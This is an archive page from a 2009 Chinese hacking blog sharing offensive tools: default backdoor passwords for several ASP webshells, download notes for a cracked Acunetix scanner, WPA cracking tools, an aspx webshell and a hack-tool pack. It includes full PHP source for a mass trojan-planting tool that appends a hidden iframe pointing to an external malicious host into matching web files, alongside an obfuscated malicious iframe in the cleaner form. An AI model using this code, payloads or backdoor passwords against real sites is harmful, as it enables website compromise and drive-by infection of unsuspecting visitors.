存档

‘资源共享’ 分类的存档

各大Asp木马的万能密码

2009年9月22日 1 条评论 535 views

首先十三webshell9.0VIP版和漫步云端修改版,默认密码?x=x或?web=admin
还有易思免杀ASP大马,密码?PageName=PageName
黑羽黑客基地小马默认密码donqee或kaifeng
朽木奥运版最新ASP木马(黑色版本),朽木奥运版最新ASP木马(绿色版本)
黑客动画吧奥运版最新ASP木马(黑色版本),黑客动画吧最新ASP木马(绿色版本)
后门是?Pass=UserPass
这个麻烦点,输入后要刷新

Acunetix Web Vulnerability Scanner 6.5 Build20090813破解补丁

2009年8月31日 没有评论 565 views

下面是自五月份以来各个Build的情况:

Acunetix WVS Build History

Build v6.5.20090813 - 13th August 2009

Improvements:

  • HTML forms settings node was renamed to Input Fields.  This node now can also be used to pre-define web services operations values.
  • New SQL Injection tests added
  • New XSS tests (unicode) added

Build v6.5.20090728 - 28th July 2009

New Features:

  • Manual Intervention module: better support for CAPTCHA and modern authentication mechanisms

Improvements:

  • Added new variants of blind SQL injection tests (now testing both AND and OR boolean operators)
  • Added new tests for SQL Injection with charset GBK/Big5
  • Added new variants for Cross site scripting

Bug Fixes:
阅读全文...

分类: 资源共享 标签:

幻境网盾3.6 发布了

2009年8月24日 没有评论 202 views

cnqing的幻境网盾3.6 发布了

更新内容:

1.减缓蓝屏

2.增加手动设置MAC功能

注意:

需要安装.net 2.0 + winpcap

更多帮助请参考旧版本

下载地址:
阅读全文...

分类: 资源共享 标签: ,

LZX改的NC,支持SSL

2009年8月21日 没有评论 116 views

作者:LZX

放出来时我改了下程序,加了句Welcome To http://t00ls.net
这个程序用了openssl,不喜欢跟随两个dll,所以openssl静态编译进去,所以比较大,最终好几百K
所以这个nc可以作为ssl的客户端,
比如gmail的安全性要求较高,smtp开始的对话是明文的,但在验证身份时就一定要切换到ssl协议,
下面演示了用这个程序登陆gmail的smtp,手工通过原始协议发送邮件给小腾,
阅读全文...

分类: 资源共享 标签: ,

Aircrack-ng的windows版本,提供下载

2009年8月21日 没有评论 2,311 views

我记得之前一直都有朋友在询问Aircrack-ng的windows版本下载
Aircrack-ng1.0-rc1-win Aircrack-ng的windows版本,需要驱动支持,主要支持Atheros芯片组   下载点这里

分类: 资源共享 标签:

Cowpatty发布4.6最新版了,提供下载

2009年8月21日 没有评论 1,132 views

作为破解无线WPA-PSK加密最强力的工具之一Cowpatty,已经在2009年7月3日发布了4.6最新版,增加了一些功能,比如现在可以不需要捕获完整的WPA4次握手,只需要其中2次就可以进行破解,使用-2参数即可。

2009年更新内容原文如下:

July 03 2009

Posted a new version of coWPAtty (4.6) with the following changes:

  • Fixed buffer overflow on modern OpenSSL systems when caching hashed hmac-sha1 ipad and opad values (just stupidity on my part, not an exploitable vulnerability);
  • Corrected compile warnings with modern gcc.

Special thanks to Kevin Kestinggolrer, Philipp Schroedel, Max Moser, Nathan Grennan, Jason Franks and Michal Knobel for their help and support.

阅读全文...

分类: 资源共享 标签:

nginx 0.8.9

2009年8月18日 没有评论 105 views

nginx(发音同 engine x)是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个 BSD-like 协议下发行。由俄罗斯的程序设计师Igor Sysoev所开发,最初供俄国大型的入口网站及搜寻引擎Rambler(俄文:Рамблер)使用。其特点是占有内存少,并发能力强,事实上 nginx的并发能力确实在同类型的网页伺服器中表现较好。目前中国大陆使用nginx网站用户有:新浪、网易、腾讯,另外知名的微网志Plurk也使用 nginx。

http://sysoev.ru/nginx/nginx-0.8.9.tar.gz(linux)
http://sysoev.ru/nginx/nginx-0.8.9.zip (win)

Changes with nginx 0.8.9 17 Aug 2009

*) Feature: now the start cache loader runs in a separate process; this
should improve large caches handling.

*) Feature: now temporarily files and permanent storage area may reside
at different file systems.

分类: 资源共享 标签:

批量挂马和批量清马程序PHP版

2009年8月3日 没有评论 95 views

<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read()))  {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已挂马文件:$file\n<br>”;

}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read()))  {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马文件:$file\n<br>”;

}
}
}
$d->close();
echo ” “;
}

if ($_GET['action']==’gm’) {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']==’qm’) {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
<title>批量挂马(清马)程序php版</title><body>
<form action=”<?$PHP_SELF?>?action=gm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>网站批量挂马程序php版
BY n3tl04d</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>挂马关键字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value=’index\.|default\.|main\.|\.html’>—–正则表达式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想写入的挂马代码:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value=’<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>’>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
&nbsp;&nbsp;
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
<form action=”<?$PHP_SELF?>?action=qm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清马工具php版
BY 随风而去(LST)</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>清马关键字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value=’index\.|default\.|main\.|\.html’>—–正则表达式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想清除的挂马代码:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value=’<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>’>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
&nbsp;&nbsp;
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
<p align=”center”>本程序是在n3tl04d的批量挂马的基础上修改而成,在此表示感谢<br>
大家在实战中最好不要用批量挂马,能找共用的文件挂马就最好用共用的方法挂吧<br>
做人要厚道<br>
by 随风而去&nbsp; 07.12.06

aspxshell beta版

2009年8月3日 没有评论 254 views

孤行一鬼CmdShell.aspx工具使用说明:

注意:此程序只授权网站管理员、网站及服务器维护人员、安全爱好者等安全检测之用,请勿用于非法用途,否则由此引起的一切后果与工具作者无关,此说明文件与程序同时发布,若有转载,请勿删除此文件!请保持发布的完整性。

工具说明:
此工具为孤行一鬼闲暇之余随便写的练手之作,由于没有太多的时间和精力去写,再加上老鬼的技术很菜,所以目前此工具功能很弱,主要有以下几个:

一、 磁盘、文件、目录操作及查看 (删除、编辑功能没有开放)

二、 CMD运行器

三、 文件打包下载 (为了防止误操作,在线解压功能被屏蔽,只支持本地解压)

四、 网络配置信息查看(完全是鸡肋,只当写着玩)

五、 端口扫描器一(不是多线程扫描,有时间的话,在下个版本中会出多线程扫描)

六、 端口扫描器二

七、进程管理器(在USER权限下可以杀掉同一服务器的其它站点进程,在ADMIN权限下为所欲为)

阅读全文...

分类: 资源共享 标签:

Big List Of Hacking Tools 2009 北美2009年黑客软件工具箱

2009年8月3日 没有评论 3,460 views

http://rapidshare.com/files/2075 ... ckpack.zip.001.html

http://rapidshare.com/files/207538394/thefeliksbighackpack.zip.002.html

http://rapidshare.com/files/207537897/thefeliksbighackpack.zip.003.html

Feliks Hack Pack 2 AIO

阅读全文...

分类: 资源共享 标签: ,

ScripTool 测试版

2009年8月3日 没有评论 84 views

[简介]
   
ScripTool(以下简称ST)是一个针对网马的辅助分析小工具,初衷只是解决日常需要。
废话不多说,希望对你有帮助。

[功能]

如果你也和我一样还不是非常熟悉脚本加解密,你可以到 http://www.glacierlk.cn/ 下载一份脚本加密手册。
看了你就知道程序的功能有什么了,也许看了之后你也不需要我的这个玩具了。

[谢谢]

    a、glacierlk的这份加解密文档
    b、mtian的源码
    c、牛X的"爱因斯坦"同事
    c、robinh00d和JIURL大牛的鼓励

[建议]

    a、 cyg07#163.com [ # 2 @ ]
    b、 http://forum.jiurl.com
    c、 http://hi.baidu.com/cyg07

下载链接: http://www.54xbl.cn/Tools/ScripTool.zip

分类: 资源共享 标签:

注入中转工具-inj_proxy

2009年7月30日 没有评论 401 views

作者:Kook
来源:WEB安全手册

一个注入中转工具。

inj_proxy

下载地址:inj_proxy.rar